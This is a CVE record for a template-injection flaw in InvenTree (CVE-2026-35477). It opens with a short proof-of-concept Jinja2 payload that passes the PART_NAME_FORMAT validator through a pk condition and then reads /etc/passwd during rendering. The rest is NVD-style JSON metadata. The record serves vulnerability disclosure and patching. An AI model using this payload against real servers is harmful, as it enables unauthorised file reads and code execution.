CVE-2026-35477

# PoC Concept: Bypass validation using pk condition # Validation (pk=None) renders the safe part. Rendering (pk=RealID) executes the exploit. template_payload = "{% if pk is none %}Valid Name{% else %}{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}{% endif %}" # Note: The attacker inputs this into the PART_NAME_FORMAT setting.

{"cve": {"id": "CVE-2026-35477", "sourceIdentifier": "[email protected]", "published": "2026-04-08T20:16:24.487", "lastModified": "2026-04-20T15:14:39.303", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "InvenTree is an Open Source Inventory Management System. From 1.2.3 to 1.2.6, the fix for CVE-2026-27629 upgraded the PART_NAME_FORMAT validator to use jinja2.sandbox.SandboxedEnvironment. However, the actual renderer in part/helpers.py was not updated and still uses the non-sandboxed jinja2.Environment. Additionally, the validator uses a dummy Part instance with pk=None, which allows conditional template expressions to behave differently during validation versus production rendering. A staff user with settings access can craft a template that passes validation but executes arbitrary code during rendering. This issue requires access by a user with granted staff permissions. This vulnerability is fixed in 1.2.7 and 1.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1336"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:inventree_project:inventree:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.2.3", "versionEndIncluding": "1.2.6", "matchCriteriaId": "A0B83810-7753-42DE-8C65-7762037BC687"}]}]}], "references": [{"url": "https://github.com/inventree/InvenTree/security/advisories/GHSA-84jh-x777-8pqq", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}